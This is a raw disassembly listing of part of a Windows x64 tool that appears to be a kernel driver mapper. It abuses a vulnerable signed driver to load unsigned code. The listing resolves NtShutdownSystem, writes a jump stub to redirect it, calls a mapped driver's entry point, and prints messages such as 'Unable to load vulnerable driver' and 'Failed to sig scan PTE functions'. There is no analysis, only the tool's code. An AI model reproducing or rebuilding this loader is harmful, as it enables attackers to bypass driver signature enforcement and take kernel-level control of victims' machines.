mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
jmp 0x140045eb6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r8d, dword [r13 + 0x54]
xor edx, edx
mov rcx, rsi
call fcn.140056643
mov r9, r12
mov r8, rsi
mov rdx, r14
lea rcx, [rbp + 0x20]
call fcn.140053f10
mov ebx, dword [r13 + 0x28]
add rbx, r14
lea rdx, str.Mapped_entry_point__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140069ae0]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, dword [r13 + 0x50]
mov r9d, 4
mov rax, qword gs:[0x58]
mov r8, qword [rax]
mov eax, dword [r9 + r8]
cmp dword [0x140075990], eax
jle 0x140045cf7
lea rcx, [0x140075990]
call fcn.140054c78
cmp dword [0x140075990], 0xffffffff
jne 0x140045cf7
lea rcx, [0x140069a00]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400759b0], rax
lea rcx, [0x140075990]
call fcn.140054c0c
lea rcx, reloc.XINPUT1_4.dll_Ordinal_2
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x140045d14
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
cmp dword [0x14007463c], 0x7fffffff
jne 0x140045d36
mov dword [0x14007463c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [rbp + 0x60], 0x25ff
mov word [rbp + 0x64], 0
mov qword [rbp + 0x66], rbx
mov rcx, qword [0x140075900]
mov r8d, 0xe
lea rdx, [rbp + 0x30]
call fcn.140043730
mov rcx, qword [0x140075900]
mov r8d, 0xe
lea rdx, [rbp + 0x60]
call fcn.1400438d0
mov rax, qword [0x1400759b0]
mov rdx, rdi
mov rcx, r14
call rax
mov ebx, eax
mov rcx, qword [0x140075900]
mov r8d, 0xe
lea rdx, [rbp + 0x30]
call fcn.1400438d0
lea rcx, reloc.XINPUT1_4.dll_Ordinal_2
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
lea rdx, str.Driver_entry_returned__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
lea rdx, [0x140040530]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140069ae0]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x148]
call fcn.140047120
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140045e31
mov rcx, rbx
call fcn.140043280
test al, al
je 0x140045e31
mov dil, 1
jmp 0x140045e34
xor dil, dil
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140045e6a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140045e65
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140045e8b
mov rcx, r8
call fcn.140055000
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
test dil, dil
jne 0x140045eb6
lea rdx, str.Unable_to_unload_vulnerable_driver.
jmp 0x140045e99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.Unable_to_load_vulnerable_driver.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x140045efa
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045ef5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045ef5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
movdqu xmmword [rbp + 0x138], xmm6
mov byte [rbp + 0x128], 0
jmp 0x140045f38
lea rdx, str.Failed_to_sig_scan_PTE_functions.
jmp 0x140045f1b
lea rdx, str.Failed_to_load_signed_driver.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp - 0x30]
call fcn.140042ed0
mov al, 1
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.140054bb0
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x30]
lea rcx, str.absolute
call fcn.1400416b0
nop
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0x30]
lea rcx, str.absolute
call fcn.1400416b0
int3